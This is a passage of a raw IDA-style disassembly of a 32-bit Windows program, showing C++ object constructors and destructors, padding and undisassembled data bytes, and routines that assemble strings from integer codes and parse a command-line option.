		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	10h
		push	13h
		push	0Ch
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		mov	dword ptr [esp+5Ch], 9
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		lea	ecx, [esi+0CB3h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh
		dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh
		dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah
		dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h
		dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h
		dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h
		dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h,	0CDB8E80Eh
		dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch,	0FFFFCE32h
		dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h
		dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h
		dd 0FFCD79E8h, 4FE890FFh, 8B023CC3h, 4DD3B8C8h,	7C891062h
		dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h,	8BFFFFCDh
		dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
